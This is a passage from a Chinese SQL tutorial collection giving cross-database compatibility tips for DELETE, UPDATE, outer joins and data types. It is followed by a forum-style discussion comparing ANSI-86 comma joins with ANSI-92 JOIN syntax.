写法为:DELETE FROM 表名 WHERE ….如果删除数据为0行,则某些数据库sqlca.sqlcode的返回值为-1,需要在DELTETE 以前加以SELECT语句判断是否有真正的删除行。
3. UPDATE 语句
写法为:UPDATE 表名 se t 字段 = 值 WHERE ……
不支持写法为:UPDATE 表名 se t 字段 = 值 FROM 表名WHERE ……
如果更新数据为0行,则某些数据库sqlca.sqlcode的返回值为-1,需要在UPDATE 以前加以SELECT语句判断是否有真正的更新行。
4. 存取字符串时,应该用单引号,不能用双引号
5. 存取时间的标准字符串写法为“{ts’ yyyy-mm-dd hh:mm:ss’}”
6. 外连接的写法为:{oj master_table left outer join primary_table on(连接条件)}
例如:SELECT MS_YJ01.YJXH,MS_YJ01.TJHM,MS_BRDA.MZHM FROM {oj MS_YJ01 LEFT OUTER JOIN MS_BRDA ON(MS_YJ01.ID = MS_BRDA.ID)};
但某些数据库还不支持多重连接的标准写法,示例如下:
SELECT MS_YJ01.YJXH,MS_YJ01.TJHM,MS_BRDA.MZHM ,GY_KSDM.KSMC FROM {oj MS_YJ01 LEFT OUTER JOIN MS_BRDA ON(MS_YJ01.ID = MS_BRDA.ID)LEFT OUTER JOIN GY_KSDM(MS_YJ01.SJKS = GY_KSDM.KSDM)};
7. 在游标中不能使用sql语句
8. 在一个事务中不能有 CREATE TABLE,CREATE INDEX,DROP TABLE 语句
9.在保存实数时,应该用decimal{n} 类型(明确指出小数的位数),不能用double 或 real
10.某些数据库在sql语句中对大小写敏感。
11.某些数据库在sql语句中两个字符串不能相加
12.数值列中最好有默认值,如有null 值,则会sum统计出错
10.两表连接的SQL语句数据库教程 篇十
例如:一个二表连接的SQL,有两种写法:
(1)select A.c1,A.c2,B.c1,B.c2
from table1 A,table2 B
where A.id=B.id
(2)select A.c1,A.c2,B.c1,B.c2
from table1 A join table2 B
on A.id=B.id
哪种写法好呢?现在提倡用哪一种?
你喜欢用哪一种?
我习惯用(1)
---这两个哪个好?
其中11楼的回答最为深入,其实这个问题还是有一定的历史原因的,不管你习惯什么样的写法只要知道来龙去脉就不会再被细枝末节来迷惑了。以下观点为个人认识,如有偏差欢迎指正。
简单的说,前者是ansi sql 86标准后者是ansi sql 92标准(*****) ,这个观点最容易被人接受。
什么是ansi?美国国家标准局,iso的重要成员之一,19就有了。
什么是ansi sql?就是ansi注意到了sql的生产力,于是规范化了一下。
什么是sql?他是ibm发明的,oracle发扬广大的一门语言。
为什么是两家公司?。
70年代初因为ibm内部各方利益斗争激烈,导致某大牛的研究成果只能以论文方式发表。
70年代末某小公司把此技术用在商业领域就成了oracle,直到n年后ibm db2才出来。
所以,sql不是ansi 发明的,ansi 标准也不能通吃所有数据库平台。
比如下面这个是什么数据库的语法?反正ansi 标准在他那里是报错的。
select * from(a inner join b on a.id=b.id) inner join c on a.id=c.id
那么在ansi86之前的数据库有哪些?oracle和db2是肯定的了,
另外还有一些当时的小角色:Informix,dbase系列等。
而sybase的数据库和SQLServer是86年之后出来的,而前面那个奇怪的join语法的access是90后的。
古老的sqlserver和oracle我都没有用过,反正在用oracle8i时还不支持ansi 92的inner join,他是生的。一直到本世纪发布的oacle9i 才改了过来。用多了t-sql的人会问 left join咋办,where a.id=b.id(+) 就可以了,人家没那么笨的,t-sql以前还有*=这样的表示。
那么这么看貌似ansi的规范力度不够?其实不是,国际标准化也不可能一刀切,在ansi92 当中定义了4个级别,n多条款。大意就是大家符合入门级就行了,其他高级别仅供参考,甚至iso根本不会验证其他级别..而诸如inner join和left join之类的都是过渡级的,濉
所以我前面打了5个星星的那句话并不是完全正确的,正确的应该是
前者符合ansi 86 标准和ansi 92入门级标准,后者符合ansi92 过渡级标准。
不是oracle8i不符合ansi92,而是没有符合ansi92的高级别规范,而完全实现高级别标准的数据库系统是没有的。
早在oracle7就已经完全符合ansi92了,当然是指入门级,而且他就是ansi92 的模版范例。
--回到上面的话题,这两个哪个好?
性能当然完全一样,区别只是习惯和喜好,但也因为标准级别不同而具有不同的风险。
如果想要优雅而易于维护且不容易写错的代码,当然用高标准的第二种方法。
如果必要考虑风险这个因素,比如涉及到多种平台的迁移或者整合,你应该用第一种,起码在两个表的情况下他还是比较安全的。
----